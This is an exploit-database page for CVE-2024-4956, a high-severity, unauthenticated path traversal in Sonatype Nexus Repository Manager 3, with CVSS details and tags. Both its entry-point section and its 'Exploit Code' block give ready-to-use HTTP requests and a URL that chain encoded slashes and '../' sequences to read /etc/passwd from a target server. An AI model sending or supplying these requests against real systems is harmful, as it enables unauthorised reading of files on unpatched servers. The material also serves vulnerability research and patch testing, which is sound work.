Exploit for CVE-2024-4956-PoC

kitploit · 2026-08-26

Description

Path traversal in Nexus Repository Manager via encoded double-slash disclosing /etc/passwd.

Entry point

ParameterfilePath · path

Path/%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F../etc/passwd

Path traversal via crafted filePath to read /etc/passwd

All known vulnerabilities by product

Nexus Repository Manager Sonatype Nexus Repository 3

CVSS 7.5 for CVE-2024-4956

7.5

HIGH SEVERITY

Version 3.1

VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Attack Vector:NETWORK

Attack Complexity:LOW

Privileges Required:NONE

User Interaction:NONE

Scope:UNCHANGED

Confidentiality:HIGH

Integrity:NONE

Availability:NONE

CVE Information

Exploit Details

Modified:2026-08-26 00:42

Last Seen:2026-08-26 08:08

Reporter:KitPloit

Tags

Nexus Repository Managerpath traversalfile disclosureencoded slashdot-dot sequence

Other exploits for CVE-2024-4956

CVE-2024-4956-Bulk-Scanner

2026-08-28 KitPloitKITPLOIT

2026-08-28 KitPloitKITPLOIT

2026-08-28 KitPloitKITPLOIT

2026-08-28 KitPloitKITPLOIT

2026-08-28 KitPloitKITPLOIT

2026-08-28 KitPloitKITPLOIT

2026-08-27 KitPloitKITPLOIT

2026-08-26 KitPloitKITPLOIT

Exploit Code

MARKDOWN8 lines

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-THINHAP-CVE-2024-4956-POC
title="Gerenciador de Repositório Nexus"

GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0Connection: closeAccept: */*Accept-Language: enAccept-Encoding: gzip

http://x.x.x.x/%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

![image](https://assets.kitploit.com/production/public/readmes/33487/28fb976e96a93e0af70219d1d530ae914073a2f90ca90103a56f7636ce8c6400.png)